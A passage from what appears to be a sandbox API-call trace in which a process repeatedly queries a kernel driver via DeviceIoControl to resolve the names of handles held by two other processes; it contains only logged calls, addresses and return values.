lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0070.128] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.128] PsAcquireProcessExitSynchronization () returned 0x0 [0070.128] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.129] ObReferenceObjectByHandle (in: Handle=0xdf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80018afa70, HandleInformation=0x0) returned 0x0 [0070.129] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.129] PsReleaseProcessExitSynchronization () returned 0x2 [0070.129] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.129] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003984044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003984044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.129] ObfDereferenceObject (Object=0xfffffa80018afa70) returned 0x12 [0070.129] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.129] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.129] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0070.129] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.129] PsAcquireProcessExitSynchronization () returned 0x0 [0070.129] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.129] ObReferenceObjectByHandle (in: Handle=0xe18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028c3d10, HandleInformation=0x0) returned 0x0 [0070.129] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.129] PsReleaseProcessExitSynchronization () returned 0x2 [0070.129] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.129] ObQueryNameString (in: Object=0xfffffa80028c3d10, ObjectNameInfo=0xfffffa8003997044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003997044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.129] ObfDereferenceObject (Object=0xfffffa80028c3d10) returned 0x1 [0070.129] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.129] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.129] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.129] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.129] PsAcquireProcessExitSynchronization () returned 0x0 [0070.129] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.129] ObReferenceObjectByHandle (in: Handle=0xe34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028c2240, HandleInformation=0x0) returned 0x0 [0070.130] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.130] PsReleaseProcessExitSynchronization () returned 0x2 [0070.130] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.130] ObQueryNameString (in: Object=0xfffffa80028c2240, ObjectNameInfo=0xfffffa80039a3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.130] ObfDereferenceObject (Object=0xfffffa80028c2240) returned 0x2 [0070.130] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.130] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.130] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.130] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.130] PsAcquireProcessExitSynchronization () returned 0x0 [0070.130] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.130] ObReferenceObjectByHandle (in: Handle=0xe38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800193d590, HandleInformation=0x0) returned 0x0 [0070.130] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.130] PsReleaseProcessExitSynchronization () returned 0x2 [0070.130] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.130] ObQueryNameString (in: Object=0xfffffa800193d590, ObjectNameInfo=0xfffffa80039a4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.130] ObfDereferenceObject (Object=0xfffffa800193d590) returned 0x2 [0070.130] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.130] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.130] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0070.130] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.130] PsAcquireProcessExitSynchronization () returned 0x0 [0070.130] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.130] ObReferenceObjectByHandle (in: Handle=0xe7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001cab610, HandleInformation=0x0) returned 0x0 [0070.130] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.130] PsReleaseProcessExitSynchronization () returned 0x2 [0070.130] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.130] ObQueryNameString (in: Object=0xfffff8a001cab610, ObjectNameInfo=0xfffffa80039a5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.131] ObfDereferenceObject (Object=0xfffff8a001cab610) returned 0x2 [0070.131] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.131] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.131] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0070.131] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.131] PsAcquireProcessExitSynchronization () returned 0x0 [0070.131] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.131] ObReferenceObjectByHandle (in: Handle=0xe84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019dc710, HandleInformation=0x0) returned 0x0 [0070.131] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.131] PsReleaseProcessExitSynchronization () returned 0x2 [0070.131] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.131] ObQueryNameString (in: Object=0xfffff8a0019dc710, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.131] ObfDereferenceObject (Object=0xfffff8a0019dc710) returned 0x2 [0070.131] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.131] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.131] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0070.131] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.131] PsAcquireProcessExitSynchronization () returned 0x0 [0070.131] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.131] ObReferenceObjectByHandle (in: Handle=0xea4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c57570, HandleInformation=0x0) returned 0x0 [0070.131] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.131] PsReleaseProcessExitSynchronization () returned 0x2 [0070.131] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.131] ObQueryNameString (in: Object=0xfffffa8003c57570, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.131] ObfDereferenceObject (Object=0xfffffa8003c57570) returned 0x1 [0070.131] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.132] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.132] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0070.132] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.132] PsAcquireProcessExitSynchronization () returned 0x0 [0070.132] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.132] ObReferenceObjectByHandle (in: Handle=0xeac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80108a95e0, HandleInformation=0x0) returned 0x0 [0070.132] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.132] PsReleaseProcessExitSynchronization () returned 0x2 [0070.132] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.132] ObQueryNameString (in: Object=0xfffffa80108a95e0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.132] ObfDereferenceObject (Object=0xfffffa80108a95e0) returned 0x13 [0070.132] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.132] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.132] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0070.132] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.132] PsAcquireProcessExitSynchronization () returned 0x0 [0070.132] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.132] ObReferenceObjectByHandle (in: Handle=0xeb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800f07e960, HandleInformation=0x0) returned 0x0 [0070.132] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.132] PsReleaseProcessExitSynchronization () returned 0x2 [0070.132] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.132] ObQueryNameString (in: Object=0xfffffa800f07e960, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.132] ObfDereferenceObject (Object=0xfffffa800f07e960) returned 0x1 [0070.132] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.132] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.132] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.133] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.133] PsAcquireProcessExitSynchronization () returned 0x0 [0070.133] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.133] ObReferenceObjectByHandle (in: Handle=0xebc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0017bf0f0, HandleInformation=0x0) returned 0x0 [0070.133] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.133] PsReleaseProcessExitSynchronization () returned 0x2 [0070.133] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.133] ObQueryNameString (in: Object=0xfffff8a0017bf0f0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.133] ObfDereferenceObject (Object=0xfffff8a0017bf0f0) returned 0x1 [0070.133] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.133] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.133] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0070.133] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.133] PsAcquireProcessExitSynchronization () returned 0x0 [0070.133] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.133] ObReferenceObjectByHandle (in: Handle=0xf30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001be2760, HandleInformation=0x0) returned 0x0 [0070.133] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.133] PsReleaseProcessExitSynchronization () returned 0x2 [0070.133] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.133] ObQueryNameString (in: Object=0xfffff8a001be2760, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.133] ObfDereferenceObject (Object=0xfffff8a001be2760) returned 0x2 [0070.133] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.133] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.133] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.133] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.133] PsAcquireProcessExitSynchronization () returned 0x0 [0070.133] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.133] ObReferenceObjectByHandle (in: Handle=0x122c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800249a4d0, HandleInformation=0x0) returned 0x0 [0070.134] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.134] PsReleaseProcessExitSynchronization () returned 0x2 [0070.134] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.134] ObQueryNameString (in: Object=0xfffffa800249a4d0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.134] ObfDereferenceObject (Object=0xfffffa800249a4d0) returned 0x2 [0070.134] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.134] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.134] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0070.134] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0070.134] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.134] PsAcquireProcessExitSynchronization () returned 0x0 [0070.134] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0) [0070.134] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800318bc40, HandleInformation=0x0) returned 0x0 [0070.134] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.134] PsReleaseProcessExitSynchronization () returned 0x2 [0070.134] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0070.134] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.135] ObfDereferenceObject (Object=0xfffffa800318bc40) returned 0x1 [0070.135] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.135] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.135] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0070.135] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.135] PsAcquireProcessExitSynchronization () returned 0x0 [0070.135] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0) [0070.135] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800318f770, HandleInformation=0x0) returned 0x0 [0070.135] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.135] PsReleaseProcessExitSynchronization () returned 0x2 [0070.135] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0070.135] ObQueryNameString (in: Object=0xfffffa800318f770, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.135] ObfDereferenceObject (Object=0xfffffa800318f770) returned 0x11 [0070.135] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.135] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.135] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0070.135] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.135] PsAcquireProcessExitSynchronization () returned 0x0 [0070.135] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0) [0070.135] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800318ff20, HandleInformation=0x0) returned 0x0 [0070.135] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.135] PsReleaseProcessExitSynchronization () returned 0x2 [0070.135] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0070.135] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.135] ObfDereferenceObject (Object=0xfffffa800318ff20) returned 0x1 [0070.136] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.136] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.136] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.136] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.136] PsAcquireProcessExitSynchronization () returned 0x0 [0070.136] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0) [0070.136] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.136] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.136] PsReleaseProcessExitSynchronization () returned 